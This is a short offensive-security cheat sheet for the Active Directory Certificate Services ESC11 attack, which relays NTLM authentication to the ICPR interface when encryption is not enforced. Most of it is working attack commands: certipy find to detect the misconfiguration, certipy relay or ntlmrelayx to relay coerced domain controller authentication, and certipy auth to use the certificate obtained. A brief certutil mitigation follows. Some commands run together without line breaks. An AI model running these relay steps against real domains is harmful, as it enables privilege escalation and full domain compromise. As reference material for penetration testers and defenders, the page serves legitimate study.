Active Directory - Certificate ESC11

contents

ad-adcs-esc11.md

ESC11 - Relaying NTLM to ICPR#

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

Tools:

ly4k/Certipy - Certipy official
sploutchy/Certipy - Certipy fork
sploutchy/impacket - Impacket fork

Exploitation:

Look for Enforce Encryption for Requests: Disabled in certipy output.

certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdoutEnforce Encryption for Requests : DisabledESC11: Encryption is not enforced for ICPR (RPC) requests.

Setup a relay using Impacket ntlmrelay and trigger a connection to it.

certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController# orntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

Coerce authentication fomr a privileged account such as a Domain Controller.
Use the certificate
```
certipy auth -pfx dc.pfx
```

Mitigations:

Enforce RPC Encryption (Packet Privacy).

certutil -getreg CA\InterfaceFlagscertutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUESTnet stop certsvcnet start certsvc

Active Directory - Certificate ESC11

ESC11 - Relaying NTLM to ICPR#

References#